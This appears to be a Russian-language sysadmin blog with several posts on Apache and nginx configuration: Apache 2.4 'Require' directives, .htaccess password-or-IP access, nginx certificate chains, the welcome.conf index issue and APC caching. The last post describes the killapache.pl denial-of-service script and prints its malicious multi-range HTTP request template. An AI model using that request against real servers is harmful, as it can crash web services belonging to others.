После обновления версии Apache с 2.2 до 2.4 появилась проблема с доступом к сайту:

[Tue Apr 16 18:53:04.238675 2019] [authz_core:error] [pid 13180] [client 10.1.1.1:57234] AH01630: client denied by server configuration: /www/doc/index.html

Оказалось, что теперь вместо:

Order allow, deny
 Allow from all

нужно указать:

Require all granted

А также вместо:

Order allow, deny
 Deny from all

вот это:

Require all denied

Т.е. чтобы разрешить доступ к папке сайта должно быть что-то типа этого:
<Directory /data/www>
Require all granted


В тонкости ещё не вникал, документацию не читал.

Есть сайт на Apache со служебной информацией и кучей папок. В разные папки есть доступ у разных юзеров, групп или IP-адресов. Обычно ограничение делается следующих видов:
— определённому юзеру/группе с любого IP-адреса;
— определённому юзеру/группе с определённых IP-адресов;
— всем без ограничений;

А вот новый вариант, настройка которого неочевидна:
— определённому юзеру/группе ИЛИ с определённых IP-адресов без пароля;

Содержимое файла .htaccess:
# Описываем ограничение по логину/паролю:
AuthType Basic
AuthName MyStatPage
AuthUserFile /usr/local/apache/conf/.users
AuthGroupFile /usr/local/apache/conf/.groups
# Пускать всех юзеров из группы mygroup:
require group mygroup

# Разрешаем доступ с указанных IP-адресов:
order allow,deny
allow from 10.1.1.0/255.255.255.0
allow from 10.1.2.1

# Разрешаем доступ при совпадении любого из условий (а не обязательно обоих):
Satisfy Any

Для получения подписанного сертификата я использую службу Dynadot, провайдер сертификата — AlphaSSL.

При использовании apache проблем не было. Я прописывал в конфиге три файла — файл с подписанным сертификатом сайта, файл с ключом, и файл с промежуточными сертификатами:
SSLCertificateFile "/etc/httpd/conf/my.crt"
SSLCertificateKeyFile "/etc/httpd/conf/my.key"
SSLCaCertificateFile "/etc/httpd/conf/AlphaSSLroot.crt"

В файле AlphaSSLroot.crt приведены друг за другом корневой сертификат и сертификат AlphaSSL как промежуточные:
-----BEGIN CERTIFICATE-----
сертификат Root CA
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
сертификат AlphaSSL Intermediate CA
-----END CERTIFICATE-----

В nginx только два аналогичных параметра — для файла с подписанным сертификатом и для файла с ключом:
ssl_certificate /usr/local/nginx/conf/my.crt;
ssl_certificate_key /usr/local/nginx/conf/my.key;

А вот куда указать промежуточные сертификаты, без них же не работает? Как оказалось их можно указать прямо в файле my.crt с подписанным сертификатом сайта, главное не перепутать последовательность:
-----BEGIN CERTIFICATE-----
подписанный сертификат вашего сайта
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
сертификат Root CA
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
сертификат AlphaSSL Intermediate CA
-----END CERTIFICATE-----

Промежуточные сертификаты взяты с сайта AlphaSSL.

Есть у меня куча разной документации и для удобства доступа к ней я поднимаю веб-сервер Apache (httpd) с виртуальным сайтом.
Т.к. по большей части в папках нет индексного файла, я прописываю опцию "+Indexes", чтобы Апач выводил мне список файлов.
Проблем обычно не было, а вот сделал это на машине с CentOS и появилась странная проблема — несмотря на указанную опцию список файлов в корне виртуального сайта не отображался, вместо него выводилась страница из дистрибутива Апача, а в логи записывалась ошибка «Directory index forbidden by Options directive». При этом в подпапках список файлов выводился нормально.
Долго не мог понять в чём проблема, ковыряние в конфигах и эксперименты не помогали.
Пришлось гуглить. Оказалось, что в стандартной установке Апача есть файл /etc/httpd/conf.d/welcome.conf, в котором, собственно, и сказано, что для корня не выводит список файлов, а выводить файл с ошибкой.
Я просто удалил (переименовал) этот файл и перезапустил Апач. Однако при обновлении Апача файл перезаписался и ситуация повторилась, тогда я файл оставил, но закомментировал строки в нём.

На одном мощном, но высоконагруженном сервере — FreeBSD, MySQL, nginx, Apache, mod_php — систематически возникала проблема с подвисающими процессами Апача. Причём довольно часто — несколько раз в сутки. Выглядело это так — появлялось максимально разрешённое количество процессов Апача (в моём случае 600) и куча процессов в MySQL в состоянии sleep. Ясное дело, что сайт в такие периоды открывался с большой задержкой или вообще не открывался. Помогал только перезапуск Апача (достаточно было graceful, а не restart). Пришлось даже написать скриптик для автоматизации перезапуска Апача (
Я пытался локализовать проблему, но мне это не удавалось. Проблема началась на схеме без Апача — nginx и php-fastcgi, заменил php-fastcgi на Апач с mod_php — не помогло, убрал фронтенд nginx — не помогло, перенёс MySQL на отдельную (тоже мощную) машину — не помогло и вроде бы (уже не уверен) отключал кеширование при помощи eaccelerator. Я уже смирился и надежда была только на обновление версии движка сайта. А тут решил вместо eaccelerator поставить APC (Alternative PHP Cache) и, вроде бы, помогло, по-крайней мере уже трое суток всё нормально.
Ещё понравилось, что в дистрибутиве APC есть php-скрипт для удобного просмотра статистики кеша.
На радостях решил поставить APC и на сервере виртуального хостинга с php-cgi, поставилось без проблем, но не работает — выдаёт кучу ошибок, которые пока победить не удалось.

Пять дней назад в листе рассылки Full Disclosure появился скрипт, по заявлению автора, убивающий Apache начиная от самых старых версий до самых новых.

И как удалось выяснить на собственной шкуре он реально работает Скрипт killapache.pl запускает в несколько десятков потоков простой запроc:

HEAD / HTTP/1.1
Host: www.example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,<...>,5-1299,5-1300
Accept-Encoding: gzip
Connection: close

Читать дальше →